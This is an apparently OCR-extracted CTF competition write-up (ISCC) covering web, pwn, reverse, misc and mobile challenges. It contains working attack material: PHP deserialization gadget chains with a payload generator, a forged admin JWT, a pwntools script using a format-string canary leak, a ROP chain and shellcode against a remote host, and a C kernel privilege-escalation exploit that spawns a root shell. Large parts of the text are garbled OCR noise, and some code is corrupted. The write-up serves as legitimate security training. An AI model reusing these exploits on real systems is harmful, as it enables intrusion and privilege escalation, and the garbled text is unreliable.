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<« - C A FT&xe 112.126.73.173:10086/Y2hIZXNIT25].php

VMTssages  — L
“<h3>Tomffi i TR —ER, SAJS4RERMEWIEL. . . </h3>7,
h3EEARITEREEHEL T, EA1E TWHE? /h3>7,
"<h3>Cheesef ) &M RBIK, HWEERITZ? </h3>7,

: "<h3>TerryE I HE, RIPERGE] [ AARH e </h3D7,

echo $Messages[array rand($Messages)]:

$this—>revealCheeseLocation() ;

}

class Jerry{
protected $secretHidingSpot;
public $squeak;
public $shout:
public function searchForCheese ($mouseHole) {
include ($mouseHole) ;

}
public function _ invoke() {

$this—>searchForCheese ($this—>secretHidingSpot) ;
}

}

class Cheesel
public $flavors;
public $color:

public function _ construct() {
$this—>flavors = array():

}

public function _ get($slice) {
$melt = $this >flavors:

return $melt():

public function _ destruct() {
unserialize ($this—>color) () :
echo “Where 1is my cheese?”:

}

if (isset($ _GET[ cheese tracker’])) {
unserialize (§ GET[’ cheese tracker’]):
Jelseif (isset ($_GET["clue”])) {

$clue = $ GET["clue”];
Solue = str replace("T7, “h”, “i%, "7, "1 7], "+, S$clue):
if (unserialize($clue)) {
unserialize ($clue)->squeak = “Thief!”:
if (unserialize ($clue) —>shout === unserialize($clue)->squeak)
echo “cheese is hidden in 7. $where;
else
echo “0OHhhh no!find it vyourself!”:
}
}
2>

phpRFFFIL, s
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<?php
class Jerry {
public $secretHidingSpot;
public $squeak;
public $shout;
}
class Cheese {
public $flavors;
public $color;
}
$Sjerry = new Jerry();
$jerry->secretHidingSpot = "php://filter/convert.base64-
encode/resource=clue.php";
$Scheese = new Cheese();
$Scheese->color = serialize($jerry);
Spayload = serialize($cheese);
echo urlencode($Spayload);
7>



=g PMEsSsdages L ariay _ Lallulwyiessagess 1,
Jthis->revealCheeselLocation()

}

class Jerry{
protected 3$secretHidingSpot;
public $squeak;
public Jshout;
public function searchForCheese($mouseHole) {

include ($mouseHole)
}
public function _ inwvoke() {

Jthis-»searchforCheese ($this->secretHidingSpot) ;
}

}

class Cheese
public $flavers;
public $ecolor:

public function _ construct() {
Jthis->flavors = array();

}

public function _ get($slice) |
Jmelt = Fthis-»flavors:

return Jmelt():

public funection _ destruct()
mnserialize($this->ecolor) () ;
echo “Vhere is my cheese?”;

}

if (isset(3_GET[ cheese_tracker' 1)) {
unserialize($_GET[ cheese_tracker’ 1);
Yelseif(isset ($_GET["clue”])) {

Jclue = F_GET["clue”]:
$clue = str_replace(["T”, "n”, 717, 7“t", "1 "1, "#", Sclue);
if f(unserialize($clue)){
unserialize($clue) ->squeak = “Thief!”:
if(unserialize(§clue) -»shout === unserialize($clue)->squeak)
echo  “cheese is hidden in . $where;
else
} echo “OHhhh no!find it vourself!”;
)
ip

PD9waHANCIR3aGVyZT0iZmxhZ19vZI9jaGVIc2UucGhwljsNCj8+DQo=Where is my cheese?

SRR RS



<« > & A FEe  112.126.73.173:10086/Y2hIZXNIT25].phpicheese tracker=0%3A6%3A Cheese"%3A2%3A%7Bs%3AT7%3A lavors % 3BN%3Bs%3A5%3A color %3Bs%3...  ¥r In] e FI8hE Chrome 7 §

NS L T RRIN R B TR GAT 1T ST o

: N
echo  $Wessages(arcay_rand (§Messages)]:
$this—>revealCheeselocation() ;

ected $secretHidingSpot;
public  S$squeak
public  $shout;
public function searchForCheese (SmouseHole) |
include ($mouseHole) ;
public function __invoke()
§this—»searchForCheese (§this—secretHidingSpot)
class Cheese
public §flavers;
public Seolor:
public function _ construet()
§this->flavors ar:
public function _ geti$slice) [
Smelt = Sthis—>flavors;
return  $melt();
public function _ destruct(}
unserialize($this—>colord () ;
echo “Where is my cheese?”;
if
lelseif(isset(
Sclue
Sclue = OTEL, Tr Tl T, Sclue);
if (unseriali
unserialize($clue) ->squeak “Thief!”;
if (unserialize ($cluel->shout unserialize (§clue) - >squeak)
echo “cheese is hidden in " $where;
else
echo “OHhhh mo!find it yourself!”;

”

PD9waHAKICAZICRmMbGFnIDOgIkITQONTY2gzM3NIX3ROIWVMXYE1X3R0ZSITCIAgICAVLYDkvYbmgl TkuYjljermninkul DI ¥rlkaLvvJ8KCS8VIEplenJ56L+YSZCS5YiwSYir55qE6byg6by g6K+0VGIt55SoMjLnmaQxNui/t

is my cheese? v

Recipe ~ BB E Input +0O3e =
E Base64 ~Q PD9WaHAKICAgICRmbGFNIDOgIk1TQON7Y2gzM3N1X3RoIWVMXYE1X3R0ZSI7CiAgICAVLYDkvYbmgI7kuYjlj6rmnInkuID1jyY
rom Base r1kalvvI8KCS8VIEPLcnI56L+Y5ZCS5Yin5Yir55qE6byg6byg6k+0VGot55S0MiLnmoQxNui/meWItul8gualluS7g0S5i0ea
Niliefes hO+8JOWVpeaEJ+aAneWRou+8nwo/Pg==|
A-Za-z0-9+/=
Remove non-alphabet chars D Strict mode

mec 228 = 1 Tr Raw Bytes ¢4 LF
Output £~ RO @
l<2php

$flag = "ISCC{ch33se_thl!ef_!5_the";

/1 BEARH—FE?

/7 Jerryif iy F) 5 6 G TomH 22 (1653 i) 5 84T 4 1, n i IR ?
2>

[RZAAM DI Z #ibase64f#iE f5 2cheeseOneE R, EFHIEIHRIcheeseTwo



<« G  AFze 112126.73.173:10086/Y2hIZXNIVHdV.php * & @ #EFEchomed A }

® Jerry's Secret Cheese Hunt @

ViR A EE R R e R

A Vi HE:
IP: 218.2.216.8

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36

PTTRER

Cc A FZe  view-source:112.126.73.173:10086/Y2hIZXNIVHdv.php

32 .message {

33 font-size: 18px;

34 }

35

36 .btn {

37 background-color: #FFA500;
38 color: white;

39 padding: 12px 25px;
40 border: none;

41 cursor: pointer;

42 font-size: 18px;
43 margin—top: 20px;
44 border-radius: 5px;
45 transition: 0.3s;
46 }

.btn:hover {
background-color: #FF4500;
transform: scale(l.1);

}

52
53 .log-section {
54 background: rgha(255, 0, 0, 0.1);
5 padding: 10px;

border-radius: 5px;

margin—top: 20px;

font-size: 14px;
59 }
60 {/style>
61| </head>
62 | <body>
63
64 <div class="panel”>
65 <div class="title”> %" Jerry s Secret Cheese Hunt © </div>
66
67 <p class="message”>
68 X <strong> AR </strong> HAE G AT LA B 5 EAUEME L. </p>
69
70 <hutton class="btn” onclick="window. location. href="index. php’ ;" >R [FI & 1 <{/button>
72 <{div class="log—section”>
73 {pr<{strong> A ViRIHE: </strong></p»
7 <p>TP: 218. 2. 216.8</p>
75 <p>User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36</p>
76 <RIBS HE VI #<p>
77 A— MRFGB|EAEHE - WREHEAEE —
78 <! =~ DEBUG: -
79 </div>
80 div>
82 | </body>

83 | </html>



Recipe

From Base64

~ a8 Input

~ QI SmVycn1fTG92ZXNFQ2h1ZXN1]

Alphabet -
A-Za-20-9+/=
Remove non-alphabet chars |:| Strict mode
ec 24 = 1
Output
Jerry_Loves_Cheesd
FI&EIWT, EroleMuserdimadmin
Recipe ~om B8 Input + O w =

JWT Sign ~ 0

Private/Secret Key

Jerey.baves.cheese

Signing algorithm

HS256

Header

{
"alg":"HS256",
"typ":"INT"

N

"|{\" role\":\"admin\",\"exp\":1747559621}7"

mec 42 = 1 Tr Raw Bytes ¢ LF

Output B0 @

‘eyJhchiOi]IUZIlNiIsInRScCIGIkpXVCJQ .eyJyb2x1IjoiYWRtaW4ilLCJ1eHAiOFE3NDCcINTk2MjFONw. bYHpOVIZkfMzb7
yfVUsOju7AGqTAbhvROVUifPW5KOA



€ G AFH: 112.126.73.173:10086/Y2hIZXNIVHdv.php fr O @ EFEChomedd i

¥ Jerry's Secret Cheese Hunt @

/c3933845e2b7d466a9776a84288b8d86 . php

A il
IP: 218.2.216.8

User-Agent: Mozilla/5.8 (Windows NT 16.8; Winc4 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.9.9 Safari/537.36

(D DevTools is now available in Chinese! | Always match Chrome's lang.

Switch DevTools to Chinese Don't show again X

Elements Console Sources Metwork Performance Memory  Application  Privacy and security  Lighthouse  Recorder HackBar m1 8 f X

SPLIT EXECUTE TEST - sQLl ~ XSS ~ LFI = SSRF ~ S5TI ~ SHELL ~ ENCODING - HASHING ~ CUSTOM ~ MODE ~ THEME ~

Accept text/html, application/xhtml+xml,a *
N
Accept-Encoding
N
Accept-Language

N

Cookie

RIERIERIZ B HRYhint, FKFEIRRAS0x16FEN AT

< c A FEE  112126.73.173:10086/c3933845e2b7d466a9776a84288b8d86.php b 4 n ] e F#EE Chrome BIA &

&+




Recipe ~ Al B Input

I&x%Its~7xy'Ib~sIaV"eH

XOR ~ O Il
Key Scheme
1d HEX Standard

|:| Null preserving

mec 23 = 1

Output

_0n3_beh!nol_the_w@115H

Pwn

Dillema

canaryittEE+orw

ADIR

1 from pwn import *

2 def 1init_connection():

3 context.arch = 'amd64'

4 return remote("101.200.155.151", 12500), ELF('./attachment-42")
5 def leak_info(io, libc):

6 jo.sendlineafter (b"where are you go?\n", b'l")

7 payload = b'%11$p—-%3Sp'

8 jo.sendafter(b"Enter you password:\n", payload)

9 canary = int(io.recv(18), 16)

10 jo.recvuntil(b'--")

11 stack_addr = int(io.recv(14), 16)

12 base_addr = stack_addr - 18 - T1libc.sym.read
13 print(f"[+] Canary value: {hex(canary)l}")

14 print(f"[+] Base address: {hex(base_addr)}")
15 return canary, base_addr

16 def build_rop_chain(base_addr, libc, canary):



17 payload = b'"\x00" + b'a' * Ox27 + p64(canary)

18 rdi_addr = 0x40119A

19 rsi_addr = base_addr + 0x000000000002be51

20 rdx_addr = base_addr + 0Ox000000000011f2e7

21 mprotect_addr = base_addr + libc.sym.mprotect

22 read_addr = 0x401070

23 gets_addr = base_addr + libc.sym.gets

24 payload += p64(0) + p64(rdi_addr) + p64(0x404000)

25 payload += p64(rsi_addr) + p64(0x10000)

26 payload += p64(base_addr + Ox000000000011f2e7) + p64(7)*2

27 payload += p64(mprotect_addr)

28 payload += p64(rdi_addr) + p64(0)

29 payload += p64(rsi_addr) + p64(0x404500)

30 payload += p64(rdx_addr) + p64(0x200)*2

31 payload += p64(read_addr)

32 payload += p64(0x404500)

33 return payload

34 def get_flag(io):

35 jo.sendlineafter (b"where are you go?\n", b'2")

36 jo.recvuntil(b"To find life in the face of death\n")

37 shellcode = asm(shellcraft.open("flag.txt"))

38 shellcode += asm("mov rdi, 1; mov rsi, rax; mov rdx, O@; mov rax, 40;
syscall")

39 shellcode += asm("mov rdi, 1; mov rsi, rax; mov rdx, 0; mov rax, 1;
syscall")

40 jo.send(shellcode)

41 io.interactive()

42  def main():

43 io, libc = dinit_connection()

44 canary, base_addr = leak_info(io, libc)

45 payload = build_rop_chain(base_addr, libc, canary)

46 jo.send(payload)

47 get_flag(io)

48 if __name__ == "_main__":

49 main()

50 #ISCC{71daee4d-9026-46d1-93e6-52d17b786114}

Easybee
B 4% core.ko, i@id /proc/core X H, i%: KASLR, Canary F7f; KPTI %,

KPTI X% -> /proc/kallsyms B]3%, H fscanfi, # commit_creds, prepare_kernel_cred #iiit, &
KASLR {®#% base_offset,



/proc/core EEH ioctl, 0x6677889C i% off, 0x6677889B i core_read, Mi% L buf[off] & 64 F
o 1% off=0x40 tFE Canary, write ¥ £EE ROP 5 ZIRZA name £& 41X (0x800), 0x6677889A
78 core_copy_func, B¥ %% ule B B, & Oxffffffffffff1000 3% 0x1000. FE gmemcpy M
name i@t 2% L vl (64F ),

FFRmAz:

% /proc/kallsyms & KASLR 1##2.

Fg ioctl i% off=0x40 3%, tEE Canary,
RIFAF CS, SS, RSP, RFLAGS (9 iretq %)

¥ ROP $% ((ER P =iEI#AE): tE7E + Canary. 1EF prepare_kernel_cred(NULL), 4R (RAX)
# %I RDI (A mov rdi, rax; call rdx £%). A commit_creds (}&1R). swapgs; popfq; ret (BIAFZ
HE)o iretq+ AFPARENEE (shell ik, CS, RFLAGS, SP, SS), FiE Gadget i3kl KASLR &%,

F write & ROP 585 A% name & 41X,
H ioctl(fd, 0x6677889A, Oxffffffffffff1000) it & & Ho
RIZ1T ROP §% -> M -> iretq BIA P -> $1T system("/bin/sh"),

exp:

(ASEEN

1 #include <stdio.h>

2  #include <stdlib.h>

3 #include <string.h>

4  #include <unistd.h>

5 #include <fcntl.h>

6 #include <ctype.h>

7  #include <sys/types.h>

8 #include <sys/dioctl.h>

g

10 unsigned long long k_commit_creds_addr = 0, k_prep_cred_addr = 0;
11 const unsigned long long base_commit_creds_known = OxFFFFFFFF8109C8EQ;
12

13 const unsigned long long g_swapgs_popfq_ret = oxffffffff8lavl2da;
14  const unsigned long long g_movrdirax_callrdx = Oxffffffff81l0laaba;
15 const unsigned long long g_poprdx_ret = Oxffffffff810a0f49;

16 const unsigned long long g_poprdi_ret = Oxffffffff81000b2f;

17 const unsigned long long g_poprcx_ret = Oxffffffff81021e53;

18 const unsigned long long g_diretq = OxFFFFFFFF81A00987;

19
20 int module_handle = 0;
21  size_t u_cs, u_ss, u_rflags, u_sp;
22
23 void capture_user_context() {
24 __asm__ __volatile__ (



25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

57
58
59
60
61
62
63
64
65
66
67
68
69
70

"mov %%cs, %%rax\n\t"

"mov %%ss, %%rbx\n\t"

"mov %%rsp, %%rcx\n\t"

"pushfg\n\t"

"pop %%rdx\n\t"

: "=a"(u_cs), "=b"(u_ss), "=c"(u_sp), "=d"(u_rflags)
: /* no inputs */ : "memory"

)5

void trigger_read_ioctl(char* dest_buffer) {
joctl(module_handle, 0x6677889B, dest_buffer);

void adjust_read_offset(int new_offset) {
joctl(module_handle, 0x6677889C, new_offset);

void trigger_overflow_copy(unsigned long long copy_size) {
joctl(module_handle, Ox6677889A, copy_size);

void resolve_kernel_symbols() {
FILEx kallsyms_file = fopen("/tmp/kallsyms", "r");
if (lkallsyms_file) {
printf("Error: Cannot open kallsyms\n");
exit(l);
}
unsigned long long symbol_address = 0;
char symbol_type_str[0x10];
char symbol_name_str[0x100];
while (fscanf(kallsyms_file, "%Ll1lx%s%s", &symbol_address, symbol_type_str,
symbol_name_str) == 3) {
if (k_commit_creds_addr && k_prep_cred_addr) break;
if (!strcmp(symbol_name_str, "commit_creds")) {
k_commit_creds_addr = symbol_address;
} else if (!strcmp(symbol_name_str, "prepare_kernel_cred")) {
k_prep_cred_addr = symbol_address;

}

fclose(kallsyms_file);

if (! (k_commit_creds_addr && k_prep_cred_addr)) {
printf("Error: Kernel symbols not found.\n");
exit(l);



71 void dump_hex_ascii(char* data_buffer, int data_length) {

72 int current_index = 0;

73 char print_buffer_line[80];

74 for(int i=0; i<(data_length + 15) / 16; i++) {

75 memset (print_buffer_line, ' ', 80);

76 sprintf(print_buffer_line, "%#05x", current_index);

77 print_buffer_line[5] = ' '; print_buffer_line[6] = '|';
print_buffer_line[7] = " ';

78 for(int j=0; j<16; j++) {

79 if(current_index + j < data_length) {

80 sprintf(print_buffer_line + 8 + 3xj, "%02x ", ((unsigned
char)data_buffer[current_index+j]) & OxFF);

81 print_buffer_line[58+j] =

isprint(data_buffer[current_index+j]) ? data_buffer[current_index+j] : '.';
82 } else {
83 sprintf(print_buffer_line + 8 + 3%j, " ");
84 print_buffer_line[58+j] = ' ';

Reverse

uglyCpp-32
64filelf>X 4, #EAida

ZNK17g3uSFZt86rfKFJog2MUIRKNSt7  cxx1112basic_stringIcStllchar traitsIcESaIcEEEE_clES6 &g3uSFZt86rfKFJlog2, input);
std::string::ba f

std: :shared_p

std: :function

std: :shared_p shared_ptr(

ZNK]?KDXg;BZqAVQadSXBZHUlRKNSt;_cxxﬁHbas _stringIcStlichar_traitsIcESaIcEEEE_c1ES6_(

&KDXgsB2g4YQad5xBZ,
input
::string::size(input)

7 ZNK25mJ6Xq4ExTMs4qaNhgFkHaofHSMUIRKStevectorIjSaljEEE 53 &mJ6Xg4ExTMs4gaNhgFkHaofHS
ZNK28gxoPJ4FNZcYkWUGp 7wE9679Pzuw8MU1RKSt6vector j L m{

<unsigned int>::~vectc
ZNK1254V3u5wvVUXnyMU1RStevectorT
std: :vector<unsigned int>::~vecto

S = std: :operato
std::ostream::

nsigned int>
trin, i

SeElLF B
XPMEBRERE, FRERXEFERMIvVFH4....
MAEAN36M1F3612, FANMEX RIS EEERHR—F



B TEZNK1254V3u5wVUXnyMUIRSt6vectorljSaljEEE_clES2_EbXT ek ER B

readfsqword

nsigned _ int8) gnu c =<unsigned int *,std::vector<unsigned int>

DWORD *)__ gnu_cxx::_ normal_iterator<unsigned int *,std::vector<unsigned int>>::operator*(

REXFH—T, FXRX?
RUESA=BRIA—T, BR—T

(ASEEZS

1 xor_key=
[107,2,230,14,39,143,57,231,40,78,194,211,161,55,183,144,201,230,118,49,207,112
,81,76,54,164,134,32,198,208,237,164,92,139,130,112]

2 enc=
[0x2A,0x63,0x9C,0xF,0x58,0xD8,0x31,0x94,0x65,0x4A,0xC4,0xB6,0xC2,0x64,0xB1l,0xD4
,0x82,0xEF,0x10,0x57,0xB6,0x26,0x4,0x4D,0x60,0xED,0xDA,0x77,0xB5,0x82,0xA9,0xFE
,0x18,0xF6,0xC2,0x73]

3 for i in range(0,50):

4 flag=""

5 v=0

6 for j in range(len(enc)):
7 enc[j]N =i

8 for k in range(len(enc)):
9 flag+=chr (enc[k]*xor_key[k])
10

11 for m in flag:

12 if m=='1":

13 v+=1

14 if m=='S":

15 v+=1

16 if m=='C':

17 v+=1

18 if m=="{":

19 v+=1

20 if m=='}":



21 v+=1

22 if v==5:
23 print(flag)
24 break

=5 “qQJ10g8Cl46UScot{9VVIfelfylgChbtjtMp3”

AEMEMELIF, XERFABERERNARMAR, EIEMNANIBXXHERINEZ X EMRER
E—TF, AkHflagit2ELFH

XBHRIARXE—RBNELFERL, thEtRstd:function<void ()(std::shared_ptr<strc>,std::string
&)>::operator()

—HIR#HRSH, RFE T XN

__gnu_cxx::_Lock_policy)2>::operator bool(a

: :deque<std: :shared_ptr<strc>>,void>(
deque<std: :shared_ptr<strc>>,void>

__int8)std: xtack std d_ptr<strey>:zempty(vli3) 1= 1 )

std: :stack<std: :shared_ptr<
shared_ptr<strc>::shared_ptr
::stack<std: :har ed ptr <s
stack<std: );
r Lock_policy)2,false,false>::operato
_ enu_cxx::_Lock_policy)2>: :operator

BT FARRZIR T N =XM, ERELIELEREARN, MERAXITRBERE, —RERH
ATXE

int64 _ fastcall ZNKL4vtegMUIvE_clEv()

if ( ptrace(@,
ZNSt8functi D
( > :.X)(l:,b[abl il
i FjKHdbaHLrTLI1

X ptrace—MEEHN, HRNEEFEERKFERIERE-1, MRXEBENEHKIEL, SETURE
ELFRVEREY, EXE T TTREHSER, TUEREREAflagzrl, EFMEE T XE

hook—TiEEIE, BEIXAMBIGN, HABAIIBEHERBI6AN RRFEOEL, 1T ERIOIELE
BRI



ZXEREAN “ISCC{TYbK2Fj5LM8Np1Rc6HA4VEOWsTVXed}) , ABIERE BERIEFBHNF S,
RN IR

NRXE&EhookiR[EIE, 1FEIRVELFFTEREHIRAY

(RGBTSR

1 enc='qgQJ10g8C}46UScot{9VVIfelfylgCbtjtMp3"'
2  test="ISCC{7YbK2Fj5Lm8NplRc6Hd4VgOWsTvXe9}"
3 test2="v8XbeN9C}pK1SR2c{6FHIdj47V5gCOLWYsmT'
4 swap=[[0]*36,

5 [0]*36]

6 print(len(test))

7 for i din range(len(test)):

8 for j in range(len(test2)):

9 if test[i]==test2[j]:
10 swap[0] [i]=1
11 swap[1][i]=]
12 break
13 flag=""

14  print(swap)
15 for i in range(len(enc)):

16 flag+=enc[swap[1][i]]
17 print(flag)
18

19 # ISCC{ftl66VeltpQg4UctoVfliyghbjM3qIO8}

CrackMe

hiind

sub_7FF718974
sub_7FF718971¢€

(__int64)String, 9);
strepy((char
if ( lwescmp(

-

L
L
L
L
L
L
L
L
L
L
L

(hwWndParent, &word_7FF7189852CE, L

(hWndParent, a2, a3, a4);

FIBEEXE, string[5]ZEERENBNE, string[0-5]7FK = Hkey, string@—Tword2EE1%K
¢



BEMNMANNFERFELIsub _7TFF718971000. sub _7FF718971080. sub 7FF7189712A0K &5
B5SourcefbEb3d

sub_TFF718971000K#B#EE<S, =—F, XERENFAKY, AIeiBREIAEET
__int64 _ fastcall sub_ 7FF718971000( int6d4 al, int64 a2,  intl6 a3)

.-I-
L

void *retaddr; // [rsp+18h] [rbp+@h]
__int64 v5; // [rsp+28h] [rbp+8h]

)i64 * SHIDWORD(retaddr))
(unsigned int)++HIDWORD(retaddr);

BES50IE, AILUIEX T ERER L BinputZEF 11 7865
BoMERBBEREE—TE

71080(__int64 al, int a2, int a3)

(_WORD *)(al +
t)sub_7FF

2i64 * v7) - v6

000004D1 sub_TFF71§ 0:15 (7FF7185710D1)

]
2
Al
In
4
a4
ggI;
Bl
i
ot

XEMAHEEZDERLE, BEFTEEATFE
Ra— TRBERNT:



void _ fastcall sub_7FF7189712A@(__int64 al, int a2, _ int64 a3, int a4)
{
__int64 v4; // [rsp+eh] [rbp-158h] BYREF
// [rsp+2@h] [rbp-138h]
[rsp+24h] [rbp-134h]
/ [rsp+28h] [rbp-13@h]
int v8; // [rsp+2Ch] [rbp-12Ch]
__inte4 v9; // [rsp+36h] [rbp-128h]
int v10; // [rsp+3Ch] [rbp-11Ch]
_BYTE v11[256]; // [rsp+56h] [rbp-108h] BYREF
__inte4 v12; // [rsp+15@h] [rbp-8h]

sub_7FF718971160();

v8 = 8;

v/ = 9;

for (1 =0; 1 < v1@; ++i )

{
v8 = (v8 + 1) % 256;
v7 = ((unsigned _ int8)v11[v8] + v7) % 256;
sub_7FF71897126@(&v11[v8], &11[v7]);
v5 = ((unsigned _ int8)v11[v7] + (unsigned _ int8)v11i[v8]) % 256;
*(_BYTE *)(v9 + i) "= v11[v5];

1
sub_7FF7189718A8( (unsigned _ int64)&vd * v12);

00000734 |sub_ 7FF7189712A0:15 (7FF718971334)

sub_7FF718971160XTEa0T:

void sub_7FF718971166()

/{ [rsp+24h] [rbp-24h]

vl; // [rsp+28h] [rbp-20h]

v2; [/ [rsp+2Ch] [rbp-1Ch]
__inted v3; // [rsp+3@h] [rbp-18h]
__inted vd; // [rsp+38h] [rbp-16h]

int v5; // [rsp+44h] [rbp-4h]

while ( < 256 )

{
*(_BYTE *)(

++v2;

¥

vl = 8;

for (1 =0; 1 ; ++1 )

{
vl = (*(unsigned int8 *)(v4 + 1 % v5) + *(unsigned int8 *)(v3 + i) + v1) % 25
sub_ 7FF718971268( (char *)(i + ), (char *}(vl + DV E

¥
¥

AUELHERE— 1 rcd
=NMNBREEE, BXHMrcdZiAHEE A

HEGIR

1 from ditertools import cycle

2 def rc4(data: bytes, key: bytes) -> bytes:
3 S list(range(256))

4 j =0

5 for i in range(256):




O 00 N O

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

43

44
45
46
47

def

def

if

j = (j + S[i] + key[i % len(key)]) & OxFF

S[il, S[31 = S[31, S[il
i=3=0
out = bytearray()
for byte in data:
i = (i + 1) & OxFF
j = (j + S[i]) & OxFF
S[il, S[3] = S[3], S[il
K = S[(S[i] + S[j]) & OxFF]
out.append(byte * K)
return bytes(out)

reverse_caesar_wchar(code_unit: int, shift: 1int

if Ox41 <= code_unit <= Ox5A:

return ((code_unit - 0x41 - shift) %
elif Ox61 <= code_unit <= Ox7A:

return ((code_unit - 0x61 - shift) %
else:

return code_unit

decrypt_wide_blob(encrypted_blob: bytes)
rc4_key = b"SecretKey"
after_rc4 = rc4(encrypted_blob, rc4_key)
code_units = [
after_rc4[i] | (after_rc4[i+1] << 8)
for i in range(0, len(after_rc4), 2)
]
out_chars = []
for cu in code_units:

cu2
cu3 = cu2 M Ox41
out_chars.append(chr(cu3))

return "".join(out_chars).rstrip('\x00")

__nhame__ =="_main__":

encrypted_blob = bytes([

0x1C, OxB8, Ox2E, Ox47, OxDD, Ox72, O0x1C, OxA2, OxDE, 0x13, Ox2C,

Ox46, OxD1l, OxFO, O0x27, 0x81, OxBF, OXE6,

OXE3, OXEE, 0x56, Ox9A, 0x52, 0x28, 0x52, Ox6B, OXE5, OxE8, 0x88,

0Ox24, Ox9C, Ox3F, OxEB, 0x15, Ox69, 0x17,

OxF4, 0x91, Ox9C, OxFE, Ox35, Ox74
1)

reverse_caesar_wchar(cu, shift=

26) + 0x41

26) + 0x61

-> str:

3)

plaintext = decrypt_wide_blob(encrypted_blob)

print("Decrypted string:", plaintext)

3) -> 1int:



Misc

HEZ PRI R

BMEpthEl, RMRIMEFENE, hERERESE

RIME—NEXNAHBERIRASCINE, BREZEH, S 1NEMAUTFSAI LB ERRYE/ 2558 M A 2551
X & Moutput.biasERSERSR255MI5F N EEE, =IHIEAASCIIEIR R flag, HT

SR

1 dmport torch

2

3  model = torch.load('attachment-38.pth")

4

5 for name, param in model.items():

6 if name == "output.bias":

7 print(a:=param.tolist())

8

9 print("".join(chr(int(i*255)) for i in a))

J\Fh
AR i, D1 LEE
RIgfRER T Mz E4E &



attachment-39.gif x

+0(f, .. p\..pIL..
080 0 02830 ofZo M =
1€A.HKI 0 ...;7z

a2ywX.je-t11it. .
.g'xQH..61.1Q,uT
zH A7/, .E! .Arx, .
0..0RE%. .
..$.A...5.dCY.
C_LALG0Ay.(ilt..

Template Results - GIF.bt &
Name Type Comment

GifHeader Oh 6h struct GIFHEA...
LogicalScreenDescriptor 6h 7h struct LOGICA...
GlobalColorTable Dh 300h struct GLOBA...
Data 30Dh 6FE30h struct DATA
Trailer FOEDY 1h struct TRAILER

EMZRHNEgiffxmMBENM EEmEF, S5Ebase64, base32, base64, base32, RZHFKER
SR

FAX WK KEE KKE

EEBEFHNAmMAIsb

(base) /home/starr
zsteg frame_@03.png

X file fullc
ATX core file B4-bit
MPEG ADTS . -I_ aver , W2

M D EG -':'-[I_El -l_ aver . (T

EEY /home/starr
zsteg frame_@05.png

file:
file:
file:

R L RERZ I it
BHZEMU LRI AR —F R E




RIER T RIS — MRV 4R AT A

(RN

1 from PIL import Image

2  dmport sys

3

4  def get_gif_frame_durations(gif_path):

5 with Image.open(gif_path) as 1im:

6 if not im.is_animated:

7 print ("ZGIFAEETIEN, ")

8 return []

9

10 durations = []

11 for frame in range(im.n_frames):

12 im.seek(frame)

13 duration = im.info.get('duration', ©) # FF4tATE, EAHZEF
14 durations.append(duration)

15

16 return durations

17

18 if __name__ == "__main__":

19 if len(sys.argv) < 2:

20 print ("BRE—NCIFXHRBRIRIEASE. ")

21 print("ffl: python gif_duration.py animation.gif")
22 else:

23 gif_file = sys.argv[1]

24 durations = get_gif_frame_durations(gif_file)
25

26 if durations:

27 print(f"##%% {len(durations)} Mmi: ")

28 for i, dur in enumerate(durations):

29 print(f"di {i + 1}: {dur} =Z#")
30 total_time = sum(durations)
31 print (f"\nSEMATIE]: {total_time} ZF ({total_time / 1000:.2f}

B)")



C:\Users\jyzho\OneDrive\ & [ >python3 1.py attachment-39.gif
HxE 6 Mn:
1: 200 =
: 300 EF
200 E7
300 Ef
200 EF
300 ER

BRI HATE: 1500 ZF (1.50 )

232323, XEBiERNZEH23%

RIER g RS FEABRER S #HBIRTNZE111010, 558%
MNEIRBHE EECEW E TR EE4 B G

Rz R IRIHRIR R RNz R 18 5 52

2EH SR txt R A BT LU cyberchef—18#2

Recipe ~ Ol B Input + 0O =
. U1ZORFEzdEVSV1ZuWmxoVk9EazFmUTO9
Magic ~
Depth
3 D Intensive mode

D Extensive language support

Crib (known plaintext string or regex)

mEc 32 = 1 Tr Raw Bytes ¢ LF
Output B0OmE:
From_Base64('A-Za-z0- SVNDQ3tERWVNZ1hVODk1fQ== Matching ops: From Base64,
9 _.',true,false) From Base85

Valid UTF8

Entropy:
From_Base64('A-Za-z0-9._- SVNDQ3tERWVNZ1hVODk1fQ== Matching ops: From Base64,
',true,false) From Base85

Valid UTF8

Entropy:
From_Base64('A-Za-z0- ISCC{DEegfXU895} Matching ops: From Base85
9+/=",true,false) Valid UTF8
From_Base64('A-Za-z0- Entropy:

9+/=",true,false)

From_Base64("A-7a-20- ISCC{DEegfXU895} Matching ops: From Base8s
STEP "7' 9+/=",true,false) valid UTF8
L Auto Bake From RaceRA('A-723-70-9+\\ - Fntronv:
@© s53ms

Mobile
V1P S opanvil=

jadxRZRiE, KN



protected void onCreate(Bundle bundle] {
super.onCreatelbundlel;
setContentView(COY4B8LIR. Layout. activity _mainl;
this.but_1 = (Button) findViewById(C@UB1R.id.but_board);
this.edt_1 = (EditText) findViewById(CE481R.id.broad);
this.but_2 = (Button) findViewById(C8481R.id.submit];
this.edt_2 = (EditText) findViewById(C@UYB1R.id.flag)
this.localBroadcastManager = LocalBroadcastManager.getInstancelthis)
registerReceiver(new TriggerReceiver(), new IntentFilter("com.example.mobile@t GET_DEX"]}, 4l;
this.localBroadcastManager.registerReceiver(new DataReceiver (), new IntentFilter("com.example.mobile@Y DEX_SEGMENT"]];
EvilService.activate(this)
bindService(new Intent(this,6 (Class<?=) EvilService.elass), this.conn, 1);
this.but_1l.setOnClickListener(new BCheck(]);
this.but_2.setOnClickListener(new FCheck(]]);

£% JHUA LINFU. ACCESS MUULTLIErs CNANged Trom. privdaie =7
publiec veoid checkFlagAsync({final String str, final FlagCheckCallback flagCheckCallback) {
if (str.length{) = 13 || !str.startsWith("Iscc{") || !str.endsWith("}")) {
flagCheckCallback.enCheckResult({false);
} else if (!new File(getFilesDir(), "decrypted.dex").exists()) {
runOnUiThread(new Runnable() { // from class: com.example.mobile@d.MainActivity$§ExternalSyntheticLambdal
